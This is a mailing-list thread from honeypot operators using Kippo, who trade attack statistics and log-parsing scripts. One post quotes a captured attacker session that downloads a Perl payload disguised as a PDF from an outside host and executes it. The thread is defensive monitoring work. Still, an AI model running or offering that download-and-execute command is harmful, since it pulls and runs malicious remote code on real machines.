Hello world

27 views
Skip to first unread message

Mohab Ali

unread,
Feb 22, 2012, 8:07:10 AM2/22/12
to kippo users
Hello fellow kippo users!

I am Mohab "0x" Ali, And my dear friend Leon dragged me into this (and
i am glad he did).

I wanted to do this for a while but started doing this for three days
and so far i am loving it.

Watching hackers in action (in a controlled environment) is a
refreshing experience.

At the first two days i didn't get any files just a dozen of logins.
Today i got a guy doing this:

alnaddy:~# mkdir " "
alnaddy:~# cd " "
alnaddy:/root/ #
alnaddy:/root/ # wget am3.altervista.org/d.pdf; perl d.pdf

I felt so happy i finally caught a nice fish.


Anyway i am happy i joined the honeypot world but better late than
never i guess.


Peace
Message has been deleted

Mohab Ali

unread,
Feb 22, 2012, 8:21:57 AM2/22/12
to kippo users
Attack stats so far:
#Ugly one-liner
[root@box log]# echo "Total tries: `grep 'login attempt' kippo.log* |
wc -l`" && echo "TTY session: `ls tty | wc -l`" && echo "Unique IPs
attempts: `grep 'login attempt' kippo.log* | sed 's/\(,\)\|\(]\)/ /g'
| awk '{print $8}' | sort -u | wc -l`" && echo "Unique IPs success:
`grep succeeded kippo.log*| sed 's/\(,\)\|\(]\)/ /g' | awk '{print
$8}' | sort -u | wc -l`" && echo "Files wget'd: `ls ../dl | wc -l`"
Total tries: 2609
TTY session: 29
Unique IPs attempts: 13
Unique IPs success: 9
Files wget'd: 2

Tom "c-APT-ure" Ueltschi

unread,
Feb 22, 2012, 9:19:24 AM2/22/12
to kippo...@googlegroups.com
thanks for reminding me how much i neglected my kippo !!! ;-)

my stats attached...  got some wget URL's there, too ;-)


--
You received this message because you are subscribed to the Google Groups "kippo users" group.
To post to this group, send email to kippo...@googlegroups.com.
To unsubscribe from this group, send email to kippousers+...@googlegroups.com.
For more options, visit this group at http://groups.google.com/group/kippousers?hl=en.


kippo-stats.txt

Tomasz Miklas

unread,
Feb 22, 2012, 5:49:13 PM2/22/12
to kippo...@googlegroups.com
Guys... check archives of the list

I've posted a file with two scripts - it generated stats based on logs and was posting them to pastebin :-) so you can anonymously share some info but hide your sensor location (hashes instead of node names).

Tomasz

Mohab Ali

unread,
Feb 23, 2012, 1:33:59 AM2/23/12
to kippo users
The link (http://groups.google.com/group/kippousers/web/pastebin-
stats.tar.gz) is returning 404.

//I replied to the other topic for some reason it's not showing...

Tomasz Miklas

unread,
Feb 23, 2012, 5:23:38 AM2/23/12
to kippo...@googlegroups.com, kippo users
Ok I'll find my copy and upload somewhere else. Google stripped files off their groups some time ago :-/

--
Tomasz Miklas

Ion

unread,
Feb 23, 2012, 11:57:52 AM2/23/12
to kippo users
Hello guys.
Check out my script at http://bruteforce.gr/kippo-graph :)
Feedback always welcomed.

On Feb 23, 12:23 pm, Tomasz Miklas <miklas.tom...@gmail.com> wrote:
> Ok I'll find my copy and upload somewhere else. Google stripped files off their groups some time ago :-/
>
> --
> Tomasz Miklas
>

Tomasz Miklas

unread,
Feb 23, 2012, 3:41:21 PM2/23/12
to kippo...@googlegroups.com
Wow... this is awesome!
Well done!

BTW I said I'll look up my script and re-upload... see what twitter spat out right now?

"Remember when Google Groups deleted all their files and pages from their groups? We downloaded them all. http://t.co/iHS1Z9X1" -- @archiveteam

Seems they are still adding the content :-)

Leon van der Eijk

unread,
Feb 22, 2012, 8:43:10 AM2/22/12
to kippo...@googlegroups.com
Welcome on board mate !

Leon

signature.asc
Reply all
Reply to author
Forward
0 new messages